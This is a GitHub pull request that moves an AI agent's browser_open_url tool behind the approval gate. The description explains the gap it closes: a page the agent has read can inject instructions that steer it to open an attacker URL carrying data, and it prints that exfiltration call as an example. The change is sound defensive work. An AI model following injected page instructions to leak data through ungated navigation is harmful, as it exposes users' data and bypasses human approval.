Skip to content

fix(tools): gate browser_open_url as a write - #493

Open
AliAltivate wants to merge 1 commit into
andrewyng:mainfrom
AliAltivate:fix/browser-open-approval
Open

fix(tools): gate browser_open_url as a write#493
AliAltivate wants to merge 1 commit into
andrewyng:mainfrom
AliAltivate:fix/browser-open-approval

Conversation

@AliAltivate

Copy link
Copy Markdown

The tool was registered kind='read', so approval_for_tool() never gated it and the model could navigate a real browser to a URL of its choosing with no prompt — an outbound exfiltration channel (a page the agent already read can steer it to open_url("https://attacker/x?d=<data>")). Its own inline comment claimed it was approval gated; now it is.

Fixes #399.

The tool was registered kind='read', so approval_for_tool() never gated it
and the model could navigate a real browser to a URL of its choosing with
no prompt — an outbound exfiltration channel (a page the agent already read
can steer it to `open_url("https://attacker/x?d=<data>")`). Its own inline
comment claimed it was approval gated; now it is. Fixes andrewyng#399.
@AliAltivate

Copy link
Copy Markdown
Author

Hi — just a friendly ping on this one. It's a small fix with a test included; would appreciate a review whenever you get a chance.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

browser_open_url is registered kind="read" so it never prompts — but its own comment says "This is approval gated"

1 participant